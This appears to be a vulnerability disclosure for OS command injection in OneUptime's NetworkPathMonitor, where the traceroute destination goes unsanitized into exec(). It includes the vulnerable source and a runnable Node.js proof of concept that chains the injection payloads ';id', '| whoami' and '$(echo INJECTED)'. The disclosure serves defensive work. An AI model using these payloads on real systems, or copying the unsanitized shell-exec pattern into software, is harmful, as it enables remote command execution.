OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

// Line 13 — exec imported from child_process
import { exec } from "child_process";

// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);

// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
    destination: string,  // ← attacker-controlled
    maxHops: number,
    timeout: number,
): Promise<TraceRoute> {
    // ...
    let command: string;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${...} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    const tracePromise = execAsync(command);  // ← shell execution

/**
 * PoC: OS Command Injection in OneUptime NetworkPathMonitor
 *
 * Replicates the exact vulnerable code path from
 * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
 */

const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);

async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
    const isMac = process.platform === "darwin";
    const isWindows = process.platform === "win32";

    let command;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    console.log(`[VULN] Constructed command: ${command}`);

    try {
        const { stdout, stderr } = await execAsync(command);
        return { stdout, stderr };
    } catch (err) {
        return { stdout: err.stdout || "", stderr: err.stderr || err.message };
    }
}

async function runPoC() {
    console.log("=== Payload 1: Semicolon chaining (;) ===");
    console.log("  destination = '127.0.0.1; id'\n");
    const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
    console.log("[stdout]:", r1.stdout);

    console.log("\n=== Payload 2: Pipe injection (|) ===");
    console.log("  destination = '127.0.0.1 | whoami'\n");
    const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
    console.log("[stdout]:", r2.stdout);

    console.log("\n=== Payload 3: Subshell execution $() ===");
    console.log("  destination = '127.0.0.1$(echo INJECTED)'\n");
    const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
    console.log("[stderr]:", r3.stderr);
}

runPoC().catch(console.error);

node poc.cjs